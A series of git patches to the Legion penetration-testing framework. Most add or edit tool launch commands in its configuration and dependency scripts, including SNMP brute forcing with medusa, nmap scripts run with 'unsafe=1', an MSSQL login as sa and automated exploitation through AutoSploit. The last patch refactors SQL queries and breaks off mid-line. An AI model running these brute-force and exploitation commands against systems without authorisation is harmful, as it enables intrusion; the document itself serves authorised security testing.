[PORT]/SMB, "netbios-ssn,microsoft-ds" +samrdump=Run samrdump, python3 /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" showmount=Show nfs shares, showmount -e [IP], nfs smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb @@ -256,7 +256,7 @@ smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-default=Check for default community strings, python3 ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp @@ -277,12 +277,12 @@ webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap -cloudfail=Run cloudfail, "python scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail +cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mssql=Open with mssql client (as sa), python3 /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres @@ -320,4 +320,4 @@ cutycapt-path=/usr/bin/cutycapt hydra-path=/usr/bin/hydra nmap-path=/usr/bin/nmap texteditor-path=/usr/bin/leafpad -python-path=/usr/bin/python +python-path=/usr/bin/python3 From 5021fe3355b90d76af8adb5108d689235ade64e1 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 19 Apr 2019 15:22:05 -0400 Subject: [PATCH 216/450] Added wpscan --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index dc9cfcc5..3cb9216c 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan wpscan git From 6c804e281fd5a47c99df2c4b55e40d167b620c67 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 19 Apr 2019 15:33:03 -0400 Subject: [PATCH 217/450] Added wpscan --- legion.conf | 2 ++ 1 file changed, 2 insertions(+) diff --git a/legion.conf b/legion.conf index 76055f97..36f1965c 100644 --- a/legion.conf +++ b/legion.conf @@ -42,6 +42,7 @@ citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=cit citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +wpscan=Run wpscan, wpscan -v --url [IP]:[PORT], wpscan dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -278,6 +279,7 @@ whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail +wpscan=Run wpscan, "wpscan -v --url [IP]:[PORT]", wpscan [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From c8de218f700042032c6a5ca1d0e69f574c014d58 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 19 Apr 2019 15:39:10 -0400 Subject: [PATCH 218/450] Added wafw00f --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 3cb9216c..5a0e88fc 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan wpscan git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan wpscan wafw00f git From 5b37f966443651efe03c1dc4ba6978cb07473674 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 19 Apr 2019 15:40:49 -0400 Subject: [PATCH 219/450] Added wafw00f --- legion.conf | 2 ++ 1 file changed, 2 insertions(+) diff --git a/legion.conf b/legion.conf index 36f1965c..c2767658 100644 --- a/legion.conf +++ b/legion.conf @@ -43,6 +43,7 @@ citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail wpscan=Run wpscan, wpscan -v --url [IP]:[PORT], wpscan +wafw00f=Run wafw00f, wafw00f [IP], wafw00f dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -280,6 +281,7 @@ x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X1 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail wpscan=Run wpscan, "wpscan -v --url [IP]:[PORT]", wpscan +wafw00f=Run wafw00f, "wafw00f [IP]", wafw00f [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From b3faf54867867814bf7d56353ce5fe2d8cb319d0 Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 22 Apr 2019 11:56:12 -0400 Subject: [PATCH 220/450] Added AutoSploit --- deps/detectScripts.sh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index 28d95648..5a230aae 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -66,6 +66,13 @@ else git clone https://github.com/m0rtem/CloudFail.git scripts/CloudFail fi +if [ -a scripts/AutoSploit/autosploit.py ] + then + echo "AutoSploit is already installed" +else + git clone https://github.com/NullArray/AutoSploit.git scripts/AutoSploit +fi + if [ ! -f ".initialized" ] then scripts/installDeps.sh From 6884f3c403a40feefc42f4d6f55f28d1bc5fb29f Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 22 Apr 2019 12:00:56 -0400 Subject: [PATCH 221/450] Added autosploit --- legion.conf | 2 ++ 1 file changed, 2 insertions(+) diff --git a/legion.conf b/legion.conf index c2767658..417cf9d6 100644 --- a/legion.conf +++ b/legion.conf @@ -44,6 +44,7 @@ citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --scri cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail wpscan=Run wpscan, wpscan -v --url [IP]:[PORT], wpscan wafw00f=Run wafw00f, wafw00f [IP], wafw00f +autosploit=Run autosploit, python3 scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT], autosploit dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -282,6 +283,7 @@ dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [O cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail wpscan=Run wpscan, "wpscan -v --url [IP]:[PORT]", wpscan wafw00f=Run wafw00f, "wafw00f [IP]", wafw00f +autosploit=Run autosploit, "python3 scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT]", autosploit [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From dd26407a47b624ed38034acc1921aadbb84d8a7d Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 22 Apr 2019 12:37:26 -0400 Subject: [PATCH 222/450] Edited autosploit --- legion.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/legion.conf b/legion.conf index 417cf9d6..5029ba61 100644 --- a/legion.conf +++ b/legion.conf @@ -44,7 +44,7 @@ citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --scri cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail wpscan=Run wpscan, wpscan -v --url [IP]:[PORT], wpscan wafw00f=Run wafw00f, wafw00f [IP], wafw00f -autosploit=Run autosploit, python3 scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT], autosploit +autosploit=Run autosploit, python scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT], autosploit dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -283,7 +283,7 @@ dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [O cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail wpscan=Run wpscan, "wpscan -v --url [IP]:[PORT]", wpscan wafw00f=Run wafw00f, "wafw00f [IP]", wafw00f -autosploit=Run autosploit, "python3 scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT]", autosploit +autosploit=Run autosploit, "python scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT]", autosploit [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From cf2fee9505b4c456bf180834b7e44c4c495c10e9 Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 22 Apr 2019 16:19:00 -0400 Subject: [PATCH 223/450] Fixed autosploit --- legion.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/legion.conf b/legion.conf index 5029ba61..d1b0c2f2 100644 --- a/legion.conf +++ b/legion.conf @@ -44,7 +44,7 @@ citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --scri cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail wpscan=Run wpscan, wpscan -v --url [IP]:[PORT], wpscan wafw00f=Run wafw00f, wafw00f [IP], wafw00f -autosploit=Run autosploit, python scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT], autosploit +autosploit=Run autosploit, cd scripts/AutoSploit/ && python autosploit.py -e -C default [IP] [PORT], autosploit dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -283,7 +283,7 @@ dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [O cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail wpscan=Run wpscan, "wpscan -v --url [IP]:[PORT]", wpscan wafw00f=Run wafw00f, "wafw00f [IP]", wafw00f -autosploit=Run autosploit, "python scripts/AutoSploit/autosploit.py -e -C default [IP] [PORT]", autosploit +autosploit=Run autosploit, "cd scripts/AutoSploit/ && python autosploit.py -e -C default [IP] [PORT]", autosploit [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From c80d93f1df39adc5064798da3341cfa77d3f8367 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 25 Apr 2019 13:17:52 -0400 Subject: [PATCH 224/450] Removed dnsmap --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 5a0e88fc..7ecfbcd2 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan wpscan wafw00f git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl urlscan wpscan wafw00f git From 6eee8d679640c19a870678cf6c1485169b46a493 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 25 Apr 2019 13:48:35 -0400 Subject: [PATCH 225/450] Put dnsmap back for now --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 7ecfbcd2..396395d4 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl urlscan wpscan wafw00f git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl urlscan dnsmap wpscan wafw00f git From 05adceb163b24f0ddcd10d78151b40c1d75bb554 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 25 Apr 2019 17:35:17 -0400 Subject: [PATCH 226/450] Removed wpscan --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 396395d4..b0214051 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl urlscan dnsmap wpscan wafw00f git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl urlscan dnsmap wafw00f git From dd46fb2773d5b03df1526874255533f6905199f1 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 25 Apr 2019 17:48:04 -0400 Subject: [PATCH 227/450] Added wpscan --- deps/detectScripts.sh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index 5a230aae..209449f0 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -73,6 +73,13 @@ else git clone https://github.com/NullArray/AutoSploit.git scripts/AutoSploit fi +if [ -d "scripts/wpscan" ] + then + echo "wpscan is already installed" +else + git clone https://github.com/wpscanteam/wpscan.git scripts/wpscan +fi + if [ ! -f ".initialized" ] then scripts/installDeps.sh From de417bfc22406c5d91ed502d6585849a15ab51cf Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 25 Apr 2019 17:52:22 -0400 Subject: [PATCH 228/450] Edited wpscan --- legion.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/legion.conf b/legion.conf index d1b0c2f2..af4417da 100644 --- a/legion.conf +++ b/legion.conf @@ -42,7 +42,7 @@ citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=cit citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -wpscan=Run wpscan, wpscan -v --url [IP]:[PORT], wpscan +wpscan=Run wpscan, ruby scripts/wpscan/bin/wpscan -v --url [IP]:[PORT], wpscan wafw00f=Run wafw00f, wafw00f [IP], wafw00f autosploit=Run autosploit, cd scripts/AutoSploit/ && python autosploit.py -e -C default [IP] [PORT], autosploit dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" @@ -281,7 +281,7 @@ whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail -wpscan=Run wpscan, "wpscan -v --url [IP]:[PORT]", wpscan +wpscan=Run wpscan, "ruby scripts/wpscan/bin/wpscan -v --url [IP]:[PORT]", wpscan wafw00f=Run wafw00f, "wafw00f [IP]", wafw00f autosploit=Run autosploit, "cd scripts/AutoSploit/ && python autosploit.py -e -C default [IP] [PORT]", autosploit From 1b0907aec41c19f723e5418f6f0ff65bea441488 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 1 May 2019 13:58:50 -0500 Subject: [PATCH 229/450] Bug fixes, new class types, copy paste --- app/cvemodels.py | 7 ++- app/logic.py | 119 ++++++++++++++++++++------------------- app/processmodels.py | 2 +- app/servicemodels.py | 4 +- app/settings.py | 3 - controller/controller.py | 4 +- db/database.py | 77 +++++++++++++++++-------- deps/detectPython.sh | 3 +- deps/detectScripts.sh | 12 ++-- deps/installDeps.sh | 2 +- legion.conf | 19 ++----- precommit.sh | 6 ++ ui/view.py | 43 +++++++++++++- 13 files changed, 183 insertions(+), 118 deletions(-) diff --git a/app/cvemodels.py b/app/cvemodels.py index 646246c0..05199559 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -47,7 +47,7 @@ def headerData(self, section, orientation, role): def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole: # how to display each cell + if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell value = '' row = index.row() column = index.column() @@ -97,12 +97,15 @@ def sort(self, Ncol, order): self.layoutChanged.emit() def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable ### getter functions ### def getCveDBIdForRow(self, row): return self.__cves[row]['name'] + + def getCveForRow(self, row): + return self.__cves[row] def getRowForDBId(self, id): for i in range(len(self.__cves)): diff --git a/app/logic.py b/app/logic.py index 07dedf04..261dc671 100644 --- a/app/logic.py +++ b/app/logic.py @@ -186,14 +186,14 @@ def saveProjectAs(self, filename, replace=0, projectType = 'legion'): return False def isHostInDB(self, host): # used we don't run tools on hosts out of scope - query = 'SELECT host.ip FROM nmap_host AS host WHERE host.ip == ? OR host.hostname == ?' + query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' result = self.db.metadata.bind.execute(query, str(host), str(host)).fetchall() if result: return True return False def getHostsFromDB(self, filters): - query = 'SELECT * FROM nmap_host AS hosts WHERE 1=1' + query = 'SELECT * FROM hostObj AS hosts WHERE 1=1' if filters.down == False: query += ' AND hosts.status!=\'down\'' @@ -208,9 +208,9 @@ def getHostsFromDB(self, filters): # get distinct service names from DB def getServiceNamesFromDB(self, filters): - query = ('SELECT DISTINCT service.name FROM nmap_service as service ' + - 'INNER JOIN nmap_port as ports ' + - 'INNER JOIN nmap_host AS hosts ' + + query = ('SELECT DISTINCT service.name FROM serviceObj as service ' + + 'INNER JOIN portObj as ports ' + + 'INNER JOIN hostObj AS hosts ' + 'ON hosts.id = ports.host_id AND service.id=ports.service_id WHERE 1=1') if filters.down == False: @@ -243,31 +243,31 @@ def getNoteFromDB(self, hostId): # get script info for given host IP def getScriptsFromDB(self, hostIP): - query = ('SELECT host.id,host.script_id,port.port_id,port.protocol FROM nmap_script AS host ' + - 'INNER JOIN nmap_host AS hosts ON hosts.id = host.host_id ' + - 'LEFT OUTER JOIN nmap_port AS port ON port.id=host.port_id ' + - 'WHERE hosts.ip=?') + query = ('SELECT host.id, host.script_id, port.port_id, port.protocol FROM l1ScriptObj AS host ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = host.host_id ' + + 'LEFT OUTER JOIN portObj AS port ON port.id = host.port_id ' + + 'WHERE hosts.ip=?') return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() ## FIX def getCvesFromDB(self, hostIP): query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source FROM cve AS cves ' + - 'INNER JOIN nmap_host AS hosts ON hosts.id = cves.host_id ' + - 'WHERE hosts.ip=?') + 'INNER JOIN hostObj AS hosts ON hosts.id = cves.host_id ' + + 'WHERE hosts.ip = ?') return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() def getScriptOutputFromDB(self, scriptDBId): - query = ('SELECT script.output FROM nmap_script as script WHERE script.id=?') + query = ('SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?') return self.db.metadata.bind.execute(query, str(scriptDBId)).fetchall() # get port and service info for given host IP def getPortsAndServicesForHostFromDB(self, hostIP, filters): - query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + - 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + - 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + - 'WHERE hosts.ip=?') + query = ('SELECT hosts.ip, ports.port_id, ports.protocol, ports.state, ports.host_id, ports.service_id, services.name, services.product, services.version, services.extrainfo, services.fingerprint FROM portObj AS ports ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + + 'LEFT OUTER JOIN serviceObj AS services ON services.id = ports.service_id ' + + 'WHERE hosts.ip = ?') if filters.portopen == False: query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' @@ -284,27 +284,27 @@ def getPortsAndServicesForHostFromDB(self, hostIP, filters): # used to check if there are any ports of a specific protocol for a given host def getPortsForHostFromDB(self, hostIP, protocol): - query = ('SELECT ports.port_id FROM nmap_port AS ports ' + - 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + - 'WHERE hosts.ip=? and ports.protocol=?') + query = ('SELECT ports.port_id FROM portObj AS ports ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + + 'WHERE hosts.ip = ? and ports.protocol = ?') results = self.db.metadata.bind.execute(query, str(hostIP), str(protocol)).first() return results # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host def getServiceNameForHostAndPort(self, hostIP, port): - query = ('SELECT services.name FROM nmap_service AS services ' + - 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + - 'INNER JOIN nmap_port AS ports ON services.id=ports.service_id ' + - 'WHERE hosts.ip=? and ports.port_id=?') + query = ('SELECT services.name FROM serviceObj AS services ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + + 'INNER JOIN portObj AS ports ON services.id=ports.service_id ' + + 'WHERE hosts.ip=? and ports.port_id = ?') results = 